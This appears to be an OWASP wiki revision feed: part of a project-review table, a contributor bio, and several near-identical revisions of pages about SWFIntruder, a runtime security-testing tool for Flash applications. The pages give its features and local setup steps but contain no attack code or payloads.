| align="CENTER" | [mailto:pierre.parrend@insa-lyon.fr Pierre Parrend] [http://www.rzo.free.fr Curriculum] (Confirmed)
| align="CENTER" | [mailto:a_campani@yahoo.fr Antonio Campanile] (Confirmed)
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP OpenPGP Extensions for HTTP - Enigform and mod openpgp|OWASP OpenPGP Extensions for HTTP - Enigform and mod_openpgp]]'''
| align="CENTER" | Arturo 'Buanzo' Busleiman
| align="CENTER" | Beta
| align="CENTER" | [mailto:mark.roxberry(at)owasp.org Mark Roxberry] [http://www.linkedin.com/in/roxberry Profile] (Confirmed)
| align="CENTER" | [mailto:dinis.cruz(at)owasp.org Dinis Cruz]
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Orizon Project|OWASP Orizon Project]]'''
| align="CENTER" | Paolo Perego
| align="CENTER" | Quality
| align="CENTER" | [mailto:eoinkeary@gmail.com Eoin Keary] (Confirmed)
| align="CENTER" | [mailto:seba@deleersnyder.eu Sebastien Deleersnyder] (Confirmed)
| align="CENTER" | [mailto:dinis.cruz@owasp.org Dinis Cruz] (Confirmed)
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Python Static Analysis Project|OWASP Python Static Analysis]]'''
| align="CENTER" | Georgy Klimov
| align="CENTER" | Beta
| align="CENTER" | [mailto:namn@bluemoon.com.vn Nam Nguyen] [[OWASP Summer of Code 2008 Projects Authors Status Target and Reviewers Nguyen Curriculum|Curriculum]] (Confirmed)
| align="CENTER" | [mailto:diepvien00thayh@gmail.com P.Q.Huy] (Confirmed)
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Skavenger Project|OWASP Skavenger]]'''
| align="CENTER" | [mailto:mro(at)securenet.de Matthias Rohr]
| align="CENTER" | Beta
| align="CENTER" | Rogan Dawes Email address? (Confirmed)
| align="CENTER" | [mailto:ah(at)securenet(dot)de Achim Hoffmann] [https://www.owasp.org/index.php/User:Achim Profile] (Confirmed)
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Sqlibench Project|OWASP SQL Injector Benchmarking Project (SQLiBENCH)]]'''
| align="CENTER" | [mailto:urgunb@hotmail.com Bedirhan Urgun] [mailto:mesut@h-labs.org Mesut Timur]
| align="CENTER" | Beta
| align="CENTER" | [mailto:ferruh@mavituna.com Ferruh Mavituna] [[Project Information:Sqlibench:Ferruh|background info]] (Confirmed)
| align="CENTER" | [mailto:kfuller@dmv.ca.gov Kevin Fuller] [[Project Information:Sqlibench:Kevin|background info]] (Confirmed)
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Teachable Static Analysis Workbench Project|OWASP Teachable Static Analysis Workbench]]'''
| align="CENTER" | [mailto:ddk(at)cs.msu.su Dmitry Kozlov] Igor Konnov
| align="CENTER" | Beta
| align="CENTER" | [mailto:afry(at)strongcrypto.biz Alex Fry] TBC
| align="CENTER" |
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP WeBekci Project|OWASP WeBekci Project]]'''
| align="CENTER" | [mailto:bunyamin@owasp.org Bunyamin Demir]
| align="CENTER" | Beta
| align="CENTER" | [mailto:afry(at)strongcrypto.biz Alexander Fry] [http://www.linkedin.com/in/alexanderfry Profile] (Confirmed)
| align="CENTER" | [mailto:stefano.dipaola(at)wisec.it Stefano Di Paola] [[User:Wisec|Profile]] (Confirmed)
| align="CENTER" | Not applicable
|}

== DESIGN/CORPORATE PROJECTS ==
{| class="wikitable" style="text-align:center"
! width="600" height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | Application
! width="220" align="CENTER" | '''Author'''
! width="60" align="CENTER" | [[:Category:OWASP Project Assessment|'''Status Target''']]
! width="108" align="CENTER" | '''1st Reviewer'''
! width="108" align="CENTER" | '''2nd Reviewer '''
! width="108" align="CENTER" | '''OWASP Board Reviewer
'''
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Book Cover & Sleeve Design|OWASP Book Cover & Sleeve Design]]'''
| align="CENTER" | LXstudios, [mailto:deb@lxstudios.com Deb Brewer]
| align="CENTER" | Quality
| align="CENTER" | [mailto:yiannis@owasp.org Yiannis Pavlosoglou] [[OWASP NYC AppSec 2008 Conference-SPEAKER-Yiannis Pavlosoglou|Short Bio]] (Confirmed)
| align="CENTER" | [mailto:eoinkeary@gmail.com Eoin Keary] (Confirmed)
| align="CENTER" | Dinis Cruz
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Individual and Corporate Member Packs plus Conference Attendee Packs Brief|OWASP Individual & Corporate Member Packs, Conference Attendee Packs Brief]]'''
| align="CENTER" | LXstudios, [mailto:deb@lxstudios.com Deb Brewer]
| align="CENTER" | Quality
| align="CENTER" | [mailto:eoinkeary@gmail.com Eoin Keary] (Confirmed)
| align="CENTER" | [mailto:yiannis@owasp.org Yiannis Pavlosoglou] [[OWASP NYC AppSec 2008 Conference-SPEAKER-Yiannis Pavlosoglou|Short Bio]] (Confirmed)
| align="CENTER" | Dinis Cruz
|-

User:Wisec

2008-07-04T16:24:29Z

Wisec:

Stefano Di Paola is the CTO and a cofounder of [http://www.mindedsecurity.com Minded Security], where he is responsible for Research and Development Lab.

Prior to founding Minded Security, Stefano was a freelance security consultant, working for several private and public companies. He also worked in collaboration with University of Florence at the Faculty of Computer Engineering.

In the past years he released several advisories including the ones that are not publicly disclosed but patched and several open source tools.

He's the lead of [[:Category:SWFIntruder|SWFIntruder]] project hosted @ owasp.org.

He has also contributed to OWASP testing guide and is also the Research & Development Director of OWASP Italian Chapter. Stefano has participated to several international talk as speaker @ 23rd CCC,Owasp Appsec2k7 S.Jose, Google Tech Talk and others.

User:Wisec

2008-07-04T16:20:59Z

Wisec: New page: Stefano Di Paola is the CTO and a cofounder of [http://www.mindedsecurity.com Minded Security], where he is responsible for Research and Development Lab. Prior to founding Minded Securit...

Stefano Di Paola is the CTO and a cofounder of [http://www.mindedsecurity.com Minded Security], where he is responsible for Research and Development Lab.

Prior to founding Minded Security, Stefano was a freelance security consultant, working for several private and public companies. He also worked in collaboration with University of Florence at the Faculty of Computer Engineering.

In the past years he released several advisories including the ones that are not publicly disclosed but patched and several open source tools.

He's the lead of [https://www.owasp.org/index.php/Category:SWFIntruder SWFIntruder] project hosted @ owasp.org.

He has also contributed to OWASP testing guide and is also the Research & Development Director of OWASP Italian Chapter. Stefano has participated to several international talk as speaker @ 23rd CCC,Owasp Appsec2k7 S.Jose, Google Tech Talk and others.

Category:SWFIntruder

2007-12-06T17:27:03Z

Wisec: Added Known Issues and a note.

== SWF Intruder Overview ==

[[Image:SWFIntruderSnapThumb.jpg|thumb|300px|right|SWFIntruder in action]]
SWFIntruder (pronounced Swiff Intruder) is the first tool specifically
developed for analyzing and testing security of Flash applications at runtime.
It helps to find flaws in Flash applications using the methodology originally
described by Stefano Di Paola in [http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt Testing Flash Applications] (May 2007) and in
[http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt Finding Vulnerabilities in Flash Applications] (Nov 2007).

SWFIntruder was developed using ActionScript, Html and JavaScript resulting in
a tool taking advantage of the best features of those technologies in order to
get the best capabilities for analysis and interaction with the testing Flash movies.

SWFIntruder was developed by using only open source software.
Thanks to its generality, SWFIntruder is OS independant.

== Goals ==

SWFIntruder purpose is to analyze a Flash application for version =< 8 and to
help check in a semi automated fashion the presence of security issues like
Cross Site Scripting and Cross Site Flashing.

Moreover does help raise awareness around the subject of flash
applications security and how that can be used to and assist in the
security of applications.

== QuickStart ==

Tested on win32 and a few linux flavors.
Current version is 0.9.
Get it from [http://code.google.com/p/swfintruder/ Google code].

=== Latest Features ===

Permanent Preferences, Help Topics, ActionScript Object Explorer, Automated Xss testing fully customizable.

=== Video Tutorial ===

Watch ([http://video.google.it/videoplay?docid=6363609589793955143 medium quality]) or download ([http://www.mindedsecurity.com/labs/fileshare/SWFIntruderTutorial.swf high quality]) the flash tutorial taking you through some basic features of SWFIntruder.

=== Download ===

You can download the latest version of SWFIntruder from [http://code.google.com/p/swfintruder/ Google code].

== Requirements ==

1. Firefox 2.x [Needed]
2. FireBug Addon [Suggested]
3. Flash Player Plugin Ver >= 9 [Needed]
4. Any Web Server [Needed]
5. Any OS [Needed :> ]

== Quick and Dirty Tutorial ==

* Download SWFIntruder latest version from Google Code.
* Uncompress it and save it somewhere in your webserver root directory.
* Browse to http://YourHost/swfintruderDir/.
'''Note''': Don't use '''[[localhost]]''' because Firefox will throw an exception.
better use 127.0.0.1 or 'your.FQDN.ltd'
* Use test.swf (a simple flawed swf movie) by filling the "Flash Movie Form" with http://YourHost/swfintruderDir/testSwf/test.swf '''or''' download a swf from some host and save it to an accessible path from your web server (http://YourHost/swfDirectory/external.swf).
* Fill the "Flash Movie" form with full URL pointing to the movie (http://YourHost/swfDirectory/test.swf) and click "Load".
* Wait 1 second for the test movie to be loaded.
* Enjoy browsing the objects.
* Test undefined variables by selecting some of them in the "Undefined Variables" and click 'start' on the Xss window.
* Wait for the test to be finished.
* If some XSS was found, it will be listed in the Xss area click on it to get the result on a new browser window.

== Features and Screenshots ==

* Basic predefined attack patterns.
* Highly customizable attacks.
* Highly customizable undefined variables.
* Semi automated Xss check.
* User configurable internal parameters.
* Log Window for debugging and tracking.
* History of latest 5 tested SWF files.
* ActionScript Objects runtime explorer in tree view.
* Persistent Configuration and Layout.

== Known Issues/Bugs ==

* You could get an error like the following:
*: '''Error: uncaught exception: [Exception... "Security error" code: "1000"'''
*: '''nsresult: "0x805303e8 (NS_ERROR_DOM_SECURITY_ERR)" location:'''
*: '''"http://localhost/swfintruder/js/globalStorage.js Line: 12"]'''
*:Try using the following [http://code.google.com/p/swfintruder/issues/detail?id=1 solutions].
* Sometime Firefox crashes. This is due to some problem in Firefox and not in SWF Intruder itself.
* If you use SWF Intruder under linux, the flash plugin eats a lot of memory.
* There's a pattern for which __resolve does not work:

frame 1 {
static.main(this)
}

*:where 'this' is _root but not explicitly set.

== Project Contributors ==

The Flash Security project is run by Stefano Di Paola. He can be contacted at '''stefano.dipaola AT mindedsecurity.com'''.

SWFintruder distributions are currently maintained on [[http://code.google.com/p/swfintruder/ Google code]].

== Project Sponsors ==

The SWF Intruder project is sponsored by
[http://www.mindedsecurity.com http://www.owasp.org/images/f/fe/MindedLogo.PNG]

Category:SWFIntruder

2007-12-03T18:08:19Z

Wisec: /* SWF Intruder Overview */

== SWF Intruder Overview ==

[[Image:SWFIntruderSnapThumb.jpg|thumb|300px|right|SWFIntruder in action]]
SWFIntruder (pronounced Swiff Intruder) is the first tool specifically
developed for analyzing and testing security of Flash applications at runtime.
It helps to find flaws in Flash applications using the methodology originally
described by Stefano Di Paola in [http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt Testing Flash Applications] (May 2007) and in
[http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt Finding Vulnerabilities in Flash Applications] (Nov 2007).

SWFIntruder was developed using ActionScript, Html and JavaScript resulting in
a tool taking advantage of the best features of those technologies in order to
get the best capabilities for analysis and interaction with the testing Flash movies.

SWFIntruder was developed by using only open source software.
Thanks to its generality, SWFIntruder is OS independant.

== Goals ==

SWFIntruder purpose is to analyze a Flash application for version =< 8 and to
help check in a semi automated fashion the presence of security issues like
Cross Site Scripting and Cross Site Flashing.

Moreover does help raise awareness around the subject of flash
applications security and how that can be used to and assist in the
security of applications.

== QuickStart ==

Tested on win32 and a few linux flavors.
Current version is 0.9.
Get it from [http://code.google.com/p/swfintruder/ Google code].

=== Latest Features ===

Permanent Preferences, Help Topics, ActionScript Object Explorer, Automated Xss testing fully customizable.

=== Video Tutorial ===

Watch ([http://video.google.it/videoplay?docid=6363609589793955143 medium quality]) or download ([http://www.mindedsecurity.com/labs/fileshare/SWFIntruderTutorial.swf high quality]) the flash tutorial taking you through some basic features of SWFIntruder.

=== Download ===

You can download the latest version of SWFIntruder from [http://code.google.com/p/swfintruder/ Google code].

== Requirements ==

1. Firefox 2.x [Needed]
2. FireBug Addon [Suggested]
3. Flash Player Plugin Ver >= 9 [Needed]
4. Any Web Server [Needed]
5. Any OS [Needed :> ]

== Quick and Dirty Tutorial ==

* Download SWFIntruder latest version from Google Code.
* Uncompress it and save it somewhere in your webserver root directory.
* Browse to http://YourHost/swfintruderDir/.
* Use test.swf (a simple flawed swf movie) by filling the "Flash Movie Form" with http://YourHost/swfintruderDir/testSwf/test.swf '''or''' download a swf from some host and save it to an accessible path from your web server (http://YourHost/swfDirectory/external.swf).
* Fill the "Flash Movie" form with full URL pointing to the movie (http://YourHost/swfDirectory/test.swf) and click "Load".
* Wait 1 second for the test movie to be loaded.
* Enjoy browsing the objects.
* Test undefined variables by selecting some of them in the "Undefined Variables" and click 'start' on the Xss window.
* Wait for the test to be finished.
* If some XSS was found, it will be listed in the Xss area click on it to get the result on a new browser window.

== Features and Screenshots ==

* Basic predefined attack patterns.
* Highly customizable attacks.
* Highly customizable undefined variables.
* Semi automated Xss check.
* User configurable internal parameters.
* Log Window for debugging and tracking.
* History of latest 5 tested SWF files.
* ActionScript Objects runtime explorer in tree view.
* Persistent Configuration and Layout.

== Project Contributors ==

The Flash Security project is run by Stefano Di Paola. He can be contacted at '''stefano.dipaola AT mindedsecurity.com'''.

SWFintruder distributions are currently maintained on [[http://code.google.com/p/swfintruder/ Google code]].

== Project Sponsors ==

The SWF Intruder project is sponsored by
[http://www.mindedsecurity.com http://www.owasp.org/images/f/fe/MindedLogo.PNG]

__NOTOC__

Category:OWASP Flash Security Project

2007-12-03T18:07:16Z

Wisec:

== Overview ==

OWASP Flash Security Project is an open project for sharing a knowledge base in order to raise awareness around the subject of Flash applications security.

== Goals ==

The OWASP Flash Security Project aims is to produce guidelines and tools around Flash Security

== Tools ==

Flash security testing [https://www.owasp.org/index.php/Category:SWFIntruder SWFIntruder]

== White Papers ==

[1] '''Testing Flash Applications''' [http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt ppt], Stefano Di Paola, [http://www.owasp.org/index.php/6th_OWASP_AppSec_Conference_-_Italy_2007/Agenda Owasp Appsec 2007], 17th May 2007, Milan (Italy).

[2] '''Finding Vulnerabilities in Flash Applications''' [http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt ppt], Stefano Di Paola, [http://www.owasp.org/index.php/7th_OWASP_AppSec_Conference_-_San_Jose_2007/Agenda Owasp Appsec 2007], 15th November 2007, San Jose CA (USA)

== Project Contributors ==

The Flash Security project is run by Stefano Di Paola. He can be contacted at '''stefano.dipaola AT mindedsecurity.com'''.

== Project Sponsors ==

The Flash Security project is sponsored by
[http://www.mindedsecurity.com http://www.owasp.org/images/f/fe/MindedLogo.PNG]

[[Category:OWASP Project]]
[[Category:OWASP Download]]
[[Category:OWASP Tool]]

__NOTOC__

Category:OWASP Flash Security Project

2007-12-03T13:43:48Z

Wisec:

== Overview ==

OWASP Flash Security Project is an open project for sharing a knowledge base in order to raise awareness around the subject of Flash applications security.

== Goals ==

The OWASP Flash Security Project aims is to produce guidelines and tools around Flash Security

== Tools ==

Flash security testing [https://www.owasp.org/index.php/Category:SWFIntruder SWFIntruder]

== White Papers ==

[1] '''Testing Flash Applications''' [http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt ppt], Stefano Di Paola, [http://www.owasp.org/index.php/6th_OWASP_AppSec_Conference_-_Italy_2007/Agenda Owasp Appsec 2007], 17th May 2007, Milan (Italy).

[2] '''Finding Vulnerabilities in Flash Applications''' [http://www.owasp.org/images/d/df/SanJose_AppSec2007_DiPaola.ppt ppt], Stefano Di Paola, [http://www.owasp.org/index.php/7th_OWASP_AppSec_Conference_-_San_Jose_2007/Agenda Owasp Appsec 2007], 15th November 2007, San Jose CA (USA)

== Project Contributors ==

The Flash Security project is run by Stefano Di Paola. He can be contacted at '''stefano.dipaola AT mindedsecurity.com'''.

== Project Sponsors ==

The Flash Security project is sponsored by
[http://www.mindedsecurity.com http://www.owasp.org/images/f/fe/MindedLogo.PNG]

[[Category:OWASP Project]]
[[Category:OWASP Download]]
[[Category:OWASP Tool]]

__NOTOC__

Category:SWFIntruder

2007-12-03T13:27:53Z

Wisec: New page: == SWF Intruder Overview == SWFIntruder in action SWFIntruder (pronounced Swiff Intruder) is the first tool specifically developed fo...

== SWF Intruder Overview ==

[[Image:SWFIntruderSnapThumb.jpg|thumb|300px|right|SWFIntruder in action]]
SWFIntruder (pronounced Swiff Intruder) is the first tool specifically
developed for analyzing and testing security of Flash applications at runtime.
It helps to find flaws in Flash applications using the methodology originally
described by Stefano Di Paola in [http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt Testing Flash Applications] (May 2007) and in
[http://www.owasp.org/images/d/df/SanJose_AppSec2007_DiPaola.ppt Finding Vulnerabilities in Flash Applications] (Nov 2007).

SWFIntruder was developed using ActionScript, Html and JavaScript resulting in
a tool taking advantage of the best features of those technologies in order to
get the best capabilities for analysis and interaction with the testing Flash movies.

SWFIntruder was developed by using only open source software.
Thanks to its generality, SWFIntruder is OS independant.

== Goals ==

SWFIntruder purpose is to analyze a Flash application for version =< 8 and to
help check in a semi automated fashion the presence of security issues like
Cross Site Scripting and Cross Site Flashing.

Moreover does help raise awareness around the subject of flash
applications security and how that can be used to and assist in the
security of applications.

== QuickStart ==

Tested on win32 and a few linux flavors.
Current version is 0.9.
Get it from [http://code.google.com/p/swfintruder/ Google code].

=== Latest Features ===

Permanent Preferences, Help Topics, ActionScript Object Explorer, Automated Xss testing fully customizable.

=== Video Tutorial ===

Watch ([http://video.google.it/videoplay?docid=6363609589793955143 medium quality]) or download ([http://www.mindedsecurity.com/labs/fileshare/SWFIntruderTutorial.swf high quality]) the flash tutorial taking you through some basic features of SWFIntruder.

=== Download ===

You can download the latest version of SWFIntruder from [http://code.google.com/p/swfintruder/ Google code].

== Requirements ==

1. Firefox 2.x [Needed]
2. FireBug Addon [Suggested]
3. Flash Player Plugin Ver >= 9 [Needed]
4. Any Web Server [Needed]
5. Any OS [Needed :> ]

== Quick and Dirty Tutorial ==

* Download SWFIntruder latest version from Google Code.
* Uncompress it and save it somewhere in your webserver root directory.
* Browse to http://YourHost/swfintruderDir/.
* Use test.swf (a simple flawed swf movie) by filling the "Flash Movie Form" with http://YourHost/swfintruderDir/testSwf/test.swf '''or''' download a swf from some host and save it to an accessible path from your web server (http://YourHost/swfDirectory/external.swf).
* Fill the "Flash Movie" form with full URL pointing to the movie (http://YourHost/swfDirectory/test.swf) and click "Load".
* Wait 1 second for the test movie to be loaded.
* Enjoy browsing the objects.
* Test undefined variables by selecting some of them in the "Undefined Variables" and click 'start' on the Xss window.
* Wait for the test to be finished.
* If some XSS was found, it will be listed in the Xss area click on it to get the result on a new browser window.

== Features and Screenshots ==

* Basic predefined attack patterns.
* Highly customizable attacks.
* Highly customizable undefined variables.
* Semi automated Xss check.
* User configurable internal parameters.
* Log Window for debugging and tracking.
* History of latest 5 tested SWF files.
* ActionScript Objects runtime explorer in tree view.
* Persistent Configuration and Layout.

== Project Contributors ==

The Flash Security project is run by Stefano Di Paola. He can be contacted at '''stefano.dipaola AT mindedsecurity.com'''.

SWFintruder distributions are currently maintained on [[http://code.google.com/p/swfintruder/ Google code]].

== Project Sponsors ==

The SWF Intruder project is sponsored by
[http://www.mindedsecurity.com http://www.owasp.org/images/f/fe/MindedLogo.PNG]

__NOTOC__

Category:OWASP Flash Security Project

2007-12-03T13:12:12Z

Wisec:

The OWASP Flash Security Project aims is to produce guidelines and tools around Flash Security

'''SWFIntruder''' is a tool developed by Stefano Di Paola and maintained by [http://www.owasp.org OWASP] designed to perform a security analysis of Flash applications.

== SWF Intruder Overview ==

[[Image:SWFIntruderSnapThumb.jpg|thumb|300px|right|SWFIntruder in action]]
SWFIntruder (pronounced Swiff Intruder) is the first tool specifically
developed for analyzing and testing security of Flash applications at runtime.
It helps to find flaws in Flash applications using the methodology originally
described by Stefano Di Paola in [http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt Testing Flash Applications] (May 2007) and in
[http://www.owasp.org/images/d/df/SanJose_AppSec2007_DiPaola.ppt Finding Vulnerabilities in Flash Applications] (Nov 2007).

SWFIntruder was developed using ActionScript, Html and JavaScript resulting in
a tool taking advantage of the best features of those technologies in order to
get the best capabilities for analysis and interaction with the testing Flash movies.

SWFIntruder was developed by using only open source software.
Thanks to its generality, SWFIntruder is OS independant.

== Goals ==

SWFIntruder purpose is to analyze a Flash application for version =< 8 and to
help check in a semi automated fashion the presence of security issues like
Cross Site Scripting and Cross Site Flashing.

Moreover does help raise awareness around the subject of flash
applications security and how that can be used to and assist in the
security of applications.

== QuickStart ==

Tested on win32 and a few linux flavors.
Current version is 0.9.
Get it from [http://code.google.com/p/swfintruder/ Google code].

=== Latest Features ===

Permanent Preferences, Help Topics, ActionScript Object Explorer, Automated Xss testing fully customizable.

=== Video Tutorial ===

Watch ([http://video.google.it/videoplay?docid=6363609589793955143 medium quality]) or download ([http://www.mindedsecurity.com/labs/fileshare/SWFIntruderTutorial.swf high quality]) the flash tutorial taking you through some basic features of SWFIntruder.

=== Download ===

You can download the latest version of SWFIntruder from [http://code.google.com/p/swfintruder/ Google code].

== Requirements ==

1. Firefox 2.x [Needed]
2. FireBug Addon [Suggested]
3. Flash Player Plugin Ver >= 9 [Needed]
4. Any Web Server [Needed]
5. Any OS [Needed :> ]

== Quick and Dirty Tutorial ==

* Download SWFIntruder latest version from Google Code.
* Uncompress it and save it somewhere in your webserver root directory.
* Browse to http://YourHost/swfintruderDir/.
* Use test.swf (a simple flawed swf movie) by filling the "Flash Movie Form" with http://YourHost/swfintruderDir/testSwf/test.swf '''or''' download a swf from some host and save it to an accessible path from your web server (http://YourHost/swfDirectory/external.swf).
* Fill the "Flash Movie" form with full URL pointing to the movie (http://YourHost/swfDirectory/test.swf) and click "Load".
* Wait 1 second for the test movie to be loaded.
* Enjoy browsing the objects.
* Test undefined variables by selecting some of them in the "Undefined Variables" and click 'start' on the Xss window.
* Wait for the test to be finished.
* If some XSS was found, it will be listed in the Xss area click on it to get the result on a new browser window.

== Features and Screenshots ==

* Basic predefined attack patterns.
* Highly customizable attacks.
* Highly customizable undefined variables.
* Semi automated Xss check.
* User configurable internal parameters.
* Log Window for debugging and tracking.
* History of latest 5 tested SWF files.
* ActionScript Objects runtime explorer in tree view.
* Persistent Configuration and Layout.

== Project Contributors ==

The Flash Security project is run by Stefano Di Paola. He can be contacted at '''stefano.dipaola AT mindedsecurity.com'''.

SWFintruder distributions are currently maintained on [[http://code.google.com/p/swfintruder/ Google code]].

== Project Sponsors ==

The SWF Intruder project is sponsored by
[http://www.mindedsecurity.com http://www.owasp.org/images/f/fe/MindedLogo.PNG]

[[Category:OWASP Project]]
[[Category:OWASP Download]]
[[Category:OWASP Tool]]

__NOTOC__

Category:OWASP Flash Security Project

2007-12-03T00:50:55Z

Wisec: /* Project Contributors */

The OWASP Flash Security Project aims is to produce guidelines and tools around Flash Security

'''SWFIntruder''' is a tool developed by Stefano Di Paola and maintened by [http://www.owasp.org OWASP] designed to perform a security analysis of Flash applications.

== SWF Intruder Overview ==

[[Image:SWFIntruderSnapThumb.jpg|thumb|300px|right|SWFIntruder in action]]
SWFIntruder (pronounced Swiff Intruder) is the first tool specifically
developed for analyzing and testing security of Flash applications at runtime.
It helps to find flaws in Flash applications using the methodology originally
described by Stefano Di Paola in [http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt Testing Flash Applications] (May 2007) and in
[http://www.owasp.org/images/d/df/SanJose_AppSec2007_DiPaola.ppt Finding Vulnerabilities in Flash Applications] (Nov 2007).

SWFIntruder was developed using ActionScript, Html and JavaScript resulting in
a tool taking advantage of the best features of those technologies in order to
get the best capabilities for analysis and interaction with the testing Flash movies.

SWFIntruder was developed by using only opensource software.
Thanks to its genericity, SWFIntruder is OS indipendant.

== Goals ==

SWFIntruder purpose is to analyse a Flash application for version =< 8 and to
help check in a semi automated fashion the presence of security issues like
Cross Site Scripting and Coss Site Flashing.

Moreover does help raise awareness around the subject of flash
applications security and how that can be used to and assist in the
security of applications.

== QuickStart ==

Tested on win32 and a few linux flavours.
Current version is 0.9.
Get it from [http://code.google.com/p/swfintruder/ Google code].

=== Latest Features ===

Permanent Preferences, Help Topics, ActionScript Object Explorer, Automated Xss testing fully customizable.

=== Video Tutorial ===

Watch ([http://video.google.it/videoplay?docid=6363609589793955143 medium quality]) or download ([http://www.mindedsecurity.com/labs/fileshare/SWFIntruderTutorial.swf high quality]) the flash tutorial taking you through some basic features of SWFIntruder.

=== Download ===

You can download the latest version of SWFIntruder from [http://code.google.com/p/swfintruder/ Google code].

== Requirements ==

1. Firefox 2.x [Needed]
2. FireBug Addon [Suggested]
3. Flash Player Plugin Ver >= 9 [Needed]
4. Any Web Server [Needed]
5. Any OS [Needed :> ]

== Quick and Dirty Tutorial ==

* Download SWFIntruder latest version from Google Code.
* Uncompress it and save it somewhere in your websever root directory.
* Browse to http://YourHost/swfintruderDir/.
* Use test.swf (a simple flawed swf movie) by filling the "Flash Movie Form" with http://YourHost/swfintruderDir/testSwf/test.swf '''or''' download a swf from some host and save it to an accessible path from your web server (http://YourHost/swfDirectory/external.swf).
* Fill the "Flash Movie" form with full URL pointing to the movie (http://YourHost/swfDirectory/test.swf) and click "Load".
* Wait 1 second for the test movie to be loaded.
* Enjoy browsing the objects.
* Test undefined variables by selecting some of them in the "Undefined Variables" and click 'start' on the Xss window.
* Wait for the test to be finished.
* If some XSS was found, it will be listed in the Xss area click on it to get the result on a new browser window.

== Features and Screenshots ==

* Basic predefined attack patterns.
* Highly customizable attacks.
* Highly customizable undefined variables.
* Semi automated Xss check.
* User congurable internal parameters.
* Log Window for debugging and tracking.
* History of latest 5 tested SWF files.
* ActionScript Objects runtime explorer in tree view.
* Persistent Configuration and Layout.

== Project Contributors ==

The Flash Security project is run by Stefano Di Paola. He can be contacted at '''stefano.dipaola AT mindedsecurity.com'''.

SWFintruder distributions are currently maintained on [[http://code.google.com/p/swfintruder/ Google code]].

== Project Sponsors ==

The SWF Intruder project is sponsored by
[http://www.mindedsecurity.com http://www.owasp.org/images/f/fe/MindedLogo.PNG]

[[Category:OWASP Project]]
[[Category:OWASP Download]]
[[Category:OWASP Tool]]

__NOTOC__

Category:OWASP Flash Security Project

2007-12-03T00:47:18Z

Wisec:

The OWASP Flash Security Project aims is to produce guidelines and tools around Flash Security

'''SWFIntruder''' is a tool developed by Stefano Di Paola and maintened by [http://www.owasp.org OWASP] designed to perform a security analysis of Flash applications.

== SWF Intruder Overview ==

[[Image:SWFIntruderSnapThumb.jpg|thumb|300px|right|SWFIntruder in action]]
SWFIntruder (pronounced Swiff Intruder) is the first tool specifically
developed for analyzing and testing security of Flash applications at runtime.
It helps to find flaws in Flash applications using the methodology originally
described by Stefano Di Paola in [http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt Testing Flash Applications] (May 2007) and in
[http://www.owasp.org/images/d/df/SanJose_AppSec2007_DiPaola.ppt Finding Vulnerabilities in Flash Applications] (Nov 2007).

SWFIntruder was developed using ActionScript, Html and JavaScript resulting in
a tool taking advantage of the best features of those technologies in order to
get the best capabilities for analysis and interaction with the testing Flash movies.

SWFIntruder was developed by using only opensource software.
Thanks to its genericity, SWFIntruder is OS indipendant.

== Goals ==

SWFIntruder purpose is to analyse a Flash application for version =< 8 and to
help check in a semi automated fashion the presence of security issues like
Cross Site Scripting and Coss Site Flashing.

Moreover does help raise awareness around the subject of flash
applications security and how that can be used to and assist in the
security of applications.

== QuickStart ==

Tested on win32 and a few linux flavours.
Current version is 0.9.
Get it from [http://code.google.com/p/swfintruder/ Google code].

=== Latest Features ===

Permanent Preferences, Help Topics, ActionScript Object Explorer, Automated Xss testing fully customizable.

=== Video Tutorial ===

Watch ([http://video.google.it/videoplay?docid=6363609589793955143 medium quality]) or download ([http://www.mindedsecurity.com/labs/fileshare/SWFIntruderTutorial.swf high quality]) the flash tutorial taking you through some basic features of SWFIntruder.

=== Download ===

You can download the latest version of SWFIntruder from [http://code.google.com/p/swfintruder/ Google code].

== Requirements ==

1. Firefox 2.x [Needed]
2. FireBug Addon [Suggested]
3. Flash Player Plugin Ver >= 9 [Needed]
4. Any Web Server [Needed]
5. Any OS [Needed :> ]

== Quick and Dirty Tutorial ==

* Download SWFIntruder latest version from Google Code.
* Uncompress it and save it somewhere in your websever root directory.
* Browse to http://YourHost/swfintruderDir/.
* Use test.swf (a simple flawed swf movie) by filling the "Flash Movie Form" with http://YourHost/swfintruderDir/testSwf/test.swf '''or''' download a swf from some host and save it to an accessible path from your web server (http://YourHost/swfDirectory/external.swf).
* Fill the "Flash Movie" form with full URL pointing to the movie (http://YourHost/swfDirectory/test.swf) and click "Load".
* Wait 1 second for the test movie to be loaded.
* Enjoy browsing the objects.
* Test undefined variables by selecting some of them in the "Undefined Variables" and click 'start' on the Xss window.
* Wait for the test to be finished.
